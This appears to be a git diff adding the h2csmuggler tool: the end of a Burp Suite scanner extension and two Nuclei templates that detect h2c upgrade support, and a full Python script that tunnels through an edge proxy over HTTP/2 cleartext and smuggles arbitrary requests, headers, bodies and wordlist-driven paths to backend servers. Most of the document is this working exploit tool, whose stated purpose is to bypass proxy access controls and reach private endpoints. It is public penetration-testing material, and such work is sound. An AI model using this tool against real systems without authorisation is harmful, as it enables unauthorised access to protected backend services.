+ self.urlLastScanned = None
+
+ def doPassiveScan(self, baseRequestResponse):
+ return None
+
+ def doActiveScan(self, baseRequestResponse, insertionPoint):
+ request = baseRequestResponse.getRequest()
+ requestInfo = self._helpers.analyzeRequest(baseRequestResponse)
+ body = request[requestInfo.getBodyOffset():]
+
+ # Avoid scanning the same endpoint for multiple insertion points
+ if self.urlLastScanned == requestInfo.getUrl():
+ return None
+ self.urlLastScanned = requestInfo.getUrl()
+
+ # More likely a false positive for cleartext connections
+ confidence = "Certain"
+ if baseRequestResponse.getHttpService().getProtocol != "https":
+ confidence = "Tentative"
+
+ # Replace headers in original request
+ headers = requestInfo.getHeaders()
+ newHeaders = []
+ for header in headers:
+ if header.startswith("Connection") or header.startswith("Upgrade"):
+ pass
+ else:
+ newHeaders.append(header)
+ newHeaders.append("Upgrade: h2c")
+ newHeaders.append("HTTP2-Settings: AAMAAABkAARAAAAAAAIAAAAA")
+
+ # Build Requests
+ connStr = "Connection: Upgrade, HTTP2-Settings"
+ h2cRequestOne = self._helpers.buildHttpMessage(newHeaders + [connStr],
+ body)
+
+ connStr = "Connection: Upgrade"
+ h2cRequestTwo = self._helpers.buildHttpMessage(newHeaders + [connStr],
+ body)
+
+ # Send Requests
+ requestResponseOne = self._callbacks.makeHttpRequest(
+ baseRequestResponse.getHttpService(),
+ h2cRequestOne)
+ requestResponseTwo = self._callbacks.makeHttpRequest(
+ baseRequestResponse.getHttpService(),
+ h2cRequestTwo)
+
+ # Analyze responses
+ responseOneInfo = self._helpers.analyzeResponse(
+ requestResponseOne.getResponse())
+ responseTwoInfo = self._helpers.analyzeResponse(
+ requestResponseTwo.getResponse())
+
+ ret = []
+ if responseOneInfo.getStatusCode() == 101:
+ ret.append(CustomScanIssue(
+ baseRequestResponse.getHttpService(),
+ requestInfo.getUrl(),
+ [requestResponseOne],
+ "HTTP/2 Cleartext (h2c) Upgrade Support Detected",
+ """Server responded with 101 Switching Protocols. If this
+ upgrade response is from a backend server behind a proxy, then
+ intermediary proxy access controls (e.g., path and/or header
+ restrictions) can be bypassed by using
+ h2cSmuggler (https://github.com/BishopFox/h2csmuggler).""",
+ confidence))
+
+ if responseTwoInfo.getStatusCode() == 101:
+ ret.append(CustomScanIssue(
+ baseRequestResponse.getHttpService(),
+ requestInfo.getUrl(),
+ [requestResponseTwo],
+ """"HTTP/2 Cleartext (h2c) Upgrade Support Detected",
+ Server responded with 101 Switching Protocols. If this
+ upgrade response is from a backend server behind a proxy, then
+ intermediary proxy access controls (e.g., path and/or header
+ restrictions) can be bypassed by using
+ h2cSmuggler (https://github.com/BishopFox/h2csmuggler).
+
This instance did not require a Connection header to
+ forward the HTTP2-Settings header.
+ (use h2cSmuggler's --upgrade-only option)""",
+ confidence))
+
+ if len(ret) == 0:
+ return None
+
+ return ret
+
+ def consolidateDuplicateIssues(self, existingIssue, newIssue):
+ if existingIssue.getUrl() == newIssue.getUrl():
+ return -1
+
+ return 0
+
+
+class CustomScanIssue (IScanIssue):
+
+ def __init__(self, httpService, url, httpMessages, name, detail,
+ confidence):
+ self._httpService = httpService
+ self._url = url
+ self._httpMessages = httpMessages
+ self._name = name
+ self._detail = detail
+ self._confidence = confidence
+
+ def getUrl(self):
+ return self._url
+
+ def getIssueName(self):
+ return self._name
+
+ def getIssueType(self):
+ return 0
+
+ def getSeverity(self):
+ return "High"
+
+ def getConfidence(self):
+ return self._confidence
+
+ def getIssueBackground(self):
+ pass
+
+ def getRemediationBackground(self):
+ pass
+
+ def getIssueDetail(self):
+ return self._detail
+
+ def getRemediationDetail(self):
+ pass
+
+ def getHttpMessages(self):
+ return self._httpMessages
+
+ def getHttpService(self):
+ return self._httpService
diff --git a/tools/h2csmuggler/extensions/nuclei-template/h2csmuggle-nuclei.yaml b/tools/h2csmuggler/extensions/nuclei-template/h2csmuggle-nuclei.yaml
new file mode 100644
index 000000000..813953c54
--- /dev/null
+++ b/tools/h2csmuggler/extensions/nuclei-template/h2csmuggle-nuclei.yaml
@@ -0,0 +1,33 @@
+###############################################################################
+# BROKEN due to: https://github.com/projectdiscovery/nuclei/issues/256
+###############################################################################
+id: h2c-smuggling-check
+
+info:
+ name: h2cSmuggling Detection
+ author: Jake Miller (@theBumbleSec)
+ severity: high
+
+# 1. Nuclei force adds a "Connection: close" which will break this check.
+# 2. Prefer usage on SSL/TLS web services. Using on cleartext services may result
+# in a false positive by upgrading the connection to the edge server rather
+# than to the backend server.
+# 3. Each respective path on the webserver may result in a distinct proxypass.
+# Some may be vulnerable while other might not.
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}"
+ headers:
+ Connection:
+ "Upgrade, HTTP2-Settings"
+ Upgrade:
+ "h2c"
+ HTTP2-Settings:
+ "AAMAAABkAARAAAAAAAIAAAAA"
+ matchers-condition: and
+ matchers:
+ - type: status
+ status:
+ - 101
diff --git a/tools/h2csmuggler/extensions/nuclei-template/h2csmuggle-upgrade-only-nuclei.yaml b/tools/h2csmuggler/extensions/nuclei-template/h2csmuggle-upgrade-only-nuclei.yaml
new file mode 100644
index 000000000..ec27d0808
--- /dev/null
+++ b/tools/h2csmuggler/extensions/nuclei-template/h2csmuggle-upgrade-only-nuclei.yaml
@@ -0,0 +1,33 @@
+###############################################################################
+# BROKEN due to: https://github.com/projectdiscovery/nuclei/issues/256
+###############################################################################
+id: h2c-smuggling-check
+
+info:
+ name: h2cSmuggling Detection
+ author: Jake Miller (@theBumbleSec)
+ severity: high
+
+# 1. Nuclei force adds a "Connection: close" which will break this check.
+# 2. Prefer usage on SSL/TLS web services. Using on cleartext services may result
+# in a false positive by upgrading the connection to the edge server rather
+# than to the backend server.
+# 3. Each respective path on the webserver may result in a distinct proxypass.
+# Some may be vulnerable while other might not.
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}"
+ headers:
+ Connection:
+ "Upgrade"
+ Upgrade:
+ "h2c"
+ HTTP2-Settings:
+ "AAMAAABkAARAAAAAAAIAAAAA"
+ matchers-condition: and
+ matchers:
+ - type: status
+ status:
+ - 101
diff --git a/tools/h2csmuggler/h2csmuggler.py b/tools/h2csmuggler/h2csmuggler.py
new file mode 100755
index 000000000..01da17751
--- /dev/null
+++ b/tools/h2csmuggler/h2csmuggler.py
@@ -0,0 +1,378 @@
+#!/usr/bin/env python3
+import h2.connection
+from h2.events import (
+ ResponseReceived, DataReceived, StreamReset, StreamEnded
+)
+
+import argparse
+import multiprocessing.dummy as mp
+import socket
+import ssl
+import sys
+from urllib.parse import urlparse, urljoin
+
+MAX_TIMEOUT = 10
+UPGRADE_ONLY = False
+
+
+def handle_events(events, isVerbose):
+ for event in events:
+ if isinstance(event, ResponseReceived):
+ handle_response(event.headers, event.stream_id)
+ elif isinstance(event, DataReceived):
+ print(event.data.decode('utf-8', 'replace'))
+ print("")
+ elif isinstance(event, StreamReset):
+ raise RuntimeError("stream reset: %d" % event.error_code)
+ else:
+ if isVerbose:
+ print("[INFO] " + str(event))
+
+
+def handle_response(response_headers, stream_id):
+ for name, value in response_headers:
+ print("%s: %s" % (name.decode('utf-8'), value.decode('utf-8')))
+
+ print("")
+
+
+def establish_tcp_connection(proxy_url):
+ global MAX_TIMEOUT
+
+ port = proxy_url.port or (80 if proxy_url.scheme == "http" else 443)
+ connect_args = (proxy_url.hostname, int(port))
+
+ sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+
+ retSock = sock
+ if proxy_url.scheme == "https":
+ retSock = ssl.wrap_socket(sock, ssl_version=ssl.PROTOCOL_TLS)
+
+ retSock.settimeout(MAX_TIMEOUT)
+ retSock.connect(connect_args)
+
+ return retSock
+
+
+def send_initial_request(connection, proxy_url, settings):
+ global UPGRADE_ONLY
+ path = proxy_url.path or "/"
+
+ addl_conn_str = b", HTTP2-Settings"
+ if UPGRADE_ONLY:
+ addl_conn_str = b""
+
+ request = (
+ b"GET " + path.encode('utf-8') + b" HTTP/1.1\r\n" +
+ b"Host: " + proxy_url.hostname.encode('utf-8') + b"\r\n" +
+ b"Accept: */*\r\n" +
+ b"Accept-Language: en\r\n" +
+ b"Upgrade: h2c\r\n" +
+ # b"HTTP2-Settings: " + settings + b"\r\n" +
+ #
+ # hyper-h2 base64-encoded settings contain '_' chars, which although
+ # allowed by spec triggered errors on some faulty h2c implementatons.
+ b"HTTP2-Settings: " + b"AAMAAABkAARAAAAAAAIAAAAA" + b"\r\n" +
+ b"Connection: Upgrade" + addl_conn_str + b"\r\n" +
+ b"\r\n"
+ )
+ connection.sendall(request)
+
+
+def get_upgrade_response(connection, proxy_url):
+ data = b''
+ while b'\r\n\r\n' not in data:
+ data += connection.recv(8192)
+
+ headers, rest = data.split(b'\r\n\r\n', 1)
+
+ # An upgrade response begins HTTP/1.1 101 Switching Protocols.
+ split_headers = headers.split()
+ if split_headers[1] != b'101':
+ print("[INFO] Failed to upgrade: " + proxy_url.geturl())
+ return None, False
+
+ return rest, True
+
+
+def getData(h2_connection, sock):
+ events = []
+ try:
+ while True:
+ newdata = sock.recv(8192)
+ events += h2_connection.receive_data(newdata)
+ if len(events) > 0 and isinstance(events[-1], StreamEnded):
+ raise socket.timeout()
+ except socket.timeout:
+ pass
+
+ return events
+
+
+def sendData(h2_connection, connection, data, stream_id):
+ """
+ From: https://github.com/python-hyper/hyper-h2/blob/master/examples/twisted/post_request.py
+ """
+ # Firstly, check what the flow control window is for stream 1.
+ window_size = h2_connection.local_flow_control_window(stream_id=stream_id)
+
+ # Next, check what the maximum frame size is.
+ max_frame_size = h2_connection.max_outbound_frame_size
+
+ file_size = len(data)
+ # We will send no more than the window size or the remaining file size
+ # of data in this call, whichever is smaller.
+ bytes_to_send = min(window_size, file_size)
+
+ # We now need to send a number of data frames.
+ idx = 0
+ while bytes_to_send > 0:
+ chunk_size = min(bytes_to_send, max_frame_size)
+ data_chunk = data[idx:(idx + chunk_size)]
+ h2_connection.send_data(stream_id=stream_id, data=data_chunk)
+
+ idx += chunk_size
+ bytes_to_send -= chunk_size
+ file_size -= chunk_size
+
+ # We've prepared a whole chunk of data to send. If the file is fully
+ # sent, we also want to end the stream: we're done here.
+ if file_size == 0:
+ h2_connection.end_stream(stream_id=stream_id)
+ else:
+ # We've still got data left to send but the window is closed. Save
+ # a Deferred that will call us when the window gets opened.
+ print("[ERROR] Window closed. Incomplete data transmission.",
+ file=sys.stderr)
+
+ connection.write(h2_connection.data_to_send())
+
+
+def sendSmuggledRequest(h2_connection, connection,
+ smuggled_request_headers, args):
+
+ stream_id = h2_connection.get_next_available_stream_id()
+
+ # Custom Step 2: Send new request on new stream id
+ h2_connection.send_headers(stream_id,
+ smuggled_request_headers,
+ end_stream=args.data is None)
+ # Custom Step 3: Immediately send the pending HTTP/2 data.
+ connection.sendall(h2_connection.data_to_send())
+
+ if args.data:
+ sendData(h2_connection,
+ connection,
+ args.data.encode("UTF-8"),
+ stream_id)
+
+ # Custom Step 4: Receive data and process
+ events = getData(h2_connection, connection)
+ handle_events(events, args.verbose)
+
+
+def main(args):
+ """
+ The client upgrade flow.
+ """
+ if not args.proxy.startswith("http"):
+ print("[ERROR]: invalid protocol: " + args.proxy, file=sys.stderr)
+ sys.exit(1)
+
+ proxy_url = urlparse(args.proxy)
+
+ # Step 1: Establish the TCP connecton.
+ connection = establish_tcp_connection(proxy_url)
+
+ # Step 2: Create H2 Connection object, put it in upgrade mode, and get the
+ # value of the HTTP2-Settings header we want to use.
+ h2_connection = h2.connection.H2Connection()
+ settings_header_value = h2_connection.initiate_upgrade_connection()
+
+ # Step 3: Send the initial HTTP/1.1 request with the upgrade fields.
+ send_initial_request(connection, proxy_url, settings_header_value)
+
+ # Step 4: Read the HTTP/1.1 response, look for 101 response.
+ extra_data, success = get_upgrade_response(connection, proxy_url)
+
+ if not success:
+ sys.exit(1)
+
+ print("[INFO] h2c stream established successfully.")
+ if args.test:
+ print("[INFO] Success! " + args.proxy + " can be used for tunneling")
+ sys.exit(0)
+
+ # Step 5: Immediately send the pending HTTP/2 data.
+ connection.sendall(h2_connection.data_to_send())
+
+ # Step 6: Feed the body data to the connection.
+ events = h2_connection.receive_data(extra_data)
+
+ # Step 7 Receive data and process
+ events = getData(h2_connection, connection)
+
+ connection.sendall(h2_connection.data_to_send())
+
+ handle_events(events, args.verbose)
+
+ # Craft request headers and grab next available stream id
+ if args.wordlist:
+ with open(args.wordlist) as fd:
+ urls = [urlparse(urljoin(args.url, url.strip()))
+ for url in fd.readlines()]
+ else:
+ urls = [urlparse(args.url)]
+
+ for url in urls:
+ path = url.path or "/"
+ query = url.query
+
+ if query:
+ path = path + "?" + query
+
+ smuggled_request_headers = [
+ (':method', args.request),
+ (':authority', url.hostname),
+ (':scheme', url.scheme),
+ (':path', path),
+ ]
+
+ # Add user-defined headers
+ if args.header:
+ for header in args.header:
+ smuggled_request_headers.append(tuple(header.split(": ")))
+
+ # Send request
+ print("[INFO] Requesting - " + path)
+ sendSmuggledRequest(h2_connection,
+ connection,
+ smuggled_request_headers,
+ args)
+
+ # Terminate connection
+ h2_connection.close_connection()
+ connection.sendall(h2_connection.data_to_send())
+ connection.shutdown(socket.SHUT_RDWR)
+ connection.close()
+
+
+def scan(line):
+ connection = None
+ try:
+ proxy_url = urlparse(line)
+ if not line.startswith("http"):
+ print("[ERROR]: skipping invalid protocol: " + line)
+ return
+
+ connection = establish_tcp_connection(proxy_url)
+
+ h2_connection = h2.connection.H2Connection()
+ settings_header_value = h2_connection.initiate_upgrade_connection()
+
+ send_initial_request(connection, proxy_url,
+ settings_header_value)
+ _, success = get_upgrade_response(connection, proxy_url)
+ if not success:
+ return
+
+ print("[INFO] Success! " + line + " can be used for tunneling")
+ sys.stdout.flush()
+ except Exception as e:
+ print("[ERROR] " + e.__str__() + ": " + line, file=sys.stderr)
+ sys.stderr.flush()
+ finally:
+ if connection:
+ connection.shutdown(socket.SHUT_RDWR)
+ connection.close()
+
+
+def init():
+ global MAX_TIMEOUT, UPGRADE_ONLY
+
+ if sys.version_info < (3, 0):
+ sys.stdout.write("Sorry, requires Python 3.x, not Python 2.x\n")
+ sys.exit(1)
+
+ parser = argparse.ArgumentParser(
+ formatter_class=argparse.RawDescriptionHelpFormatter,
+ description="Detect and exploit insecure forwarding of h2c upgrades.",
+ epilog="Example Usage:\n"
+ + sys.argv[0] + " --scan-list urls.txt --threads 5\n"
+ + sys.argv[0] + " -x https://edgeserver http://localhost\n"
+ + sys.argv[0] + " -x https://edgeserver -XPOST -d "
+ "'{\"data\":1}' -H \"Content-Type: application/json\""
+ "-H \"X-ADMIN: true\" http://backend/private/endpoint"
+ )
+ parser.add_argument("--scan-list",
+ help="list of URLs for scanning")
+ parser.add_argument("--threads",
+ type=int,
+ default=5,
+ help="# of threads (for use with --scan-list)")
+ parser.add_argument("--upgrade-only",
+ default=False,
+ action="store_true",
+ help="drop HTTP2-Settings from outgoing "
+ "Connection header")
+ parser.add_argument("-x", "--proxy",
+ help="proxy server to try to bypass")
+ parser.add_argument("-i", "--wordlist",
+ help="list of paths to bruteforce")
+ parser.add_argument("-X", "--request",
+ default="GET",
+ help="smuggled verb")
+ parser.add_argument("-d", "--data",
+ help="smuggled data")
+ parser.add_argument("-H", "--header",
+ action="append",
+ help="smuggled headers")
+ parser.add_argument("-m", "--max-time",
+ type=float,
+ default=10,
+ help="socket timeout in seconds "
+ "(type: float; default 10)")
+ parser.add_argument("-t", "--test",
+ help="test a single proxy server",
+ action="store_true")
+ parser.add_argument("-v", "--verbose",
+ action="store_true")
+ parser.add_argument("url", nargs="?")
+ args = parser.parse_args()
+
+ MAX_TIMEOUT = args.max_time
+ UPGRADE_ONLY = args.upgrade_only
+
+ if args.scan_list:
+ lines = []
+ with open(args.scan_list) as fd:
+ lines = [line.strip() for line in fd.readlines()]
+
+ p = mp.Pool(args.threads)
+ p.map(scan, lines)
+ p.close()
+ p.join()
+ sys.exit(1)
+
+ if not args.proxy:
+ print("Please provide a server for tunneling ('-x') flag ",
+ file=sys.stderr)
+ sys.exit(1)
+
+ if not args.test and not args.url:
+ print("Please specify the '-t' flag or provide smuggled URL")
+ sys.exit(1)
+
+ if args.url and not urlparse(args.url).scheme:
+ print("Please specify scheme (e.g., http[s]://) for: " + args.url)
+ sys.exit(1)
+
+ if not urlparse(args.proxy).scheme:
+ print("Please specify scheme (e.g., http[s]://) for: " + args.proxy)
+ sys.exit(1)
+
+ main(args)
+
+
+if __name__ == "__main__":
+ init()
diff --git a/tools/h2csmuggler/media/diagram.png b/tools/h2csmuggler/media/diagram.png
new file mode 100644
index 000000000..a6f2df0af
Binary files /dev/null and b/tools/h2csmuggler/media/diagram.png differ
diff --git a/tools/h2csmuggler/media/fail.png b/tools/h2csmuggler/media/fail.png
new file mode 100644
index 000000000..74e42579d
Binary files /dev/null and b/tools/h2csmuggler/media/fail.png differ
diff --git a/tools/h2csmuggler/media/success.png b/tools/h2csmuggler/media/success.png
new file mode 100644
index 000000000..9dadf94db
Binary files /dev/null and b/tools/h2csmuggler/media/success.png differ
diff --git a/tools/h2csmuggler/media/test.png b/tools/h2csmuggler/media/test.png
new file mode 100644
index 000000000..3d5e37f5c
Binary files /dev/null and b/tools/h2csmuggler/media/test.png differ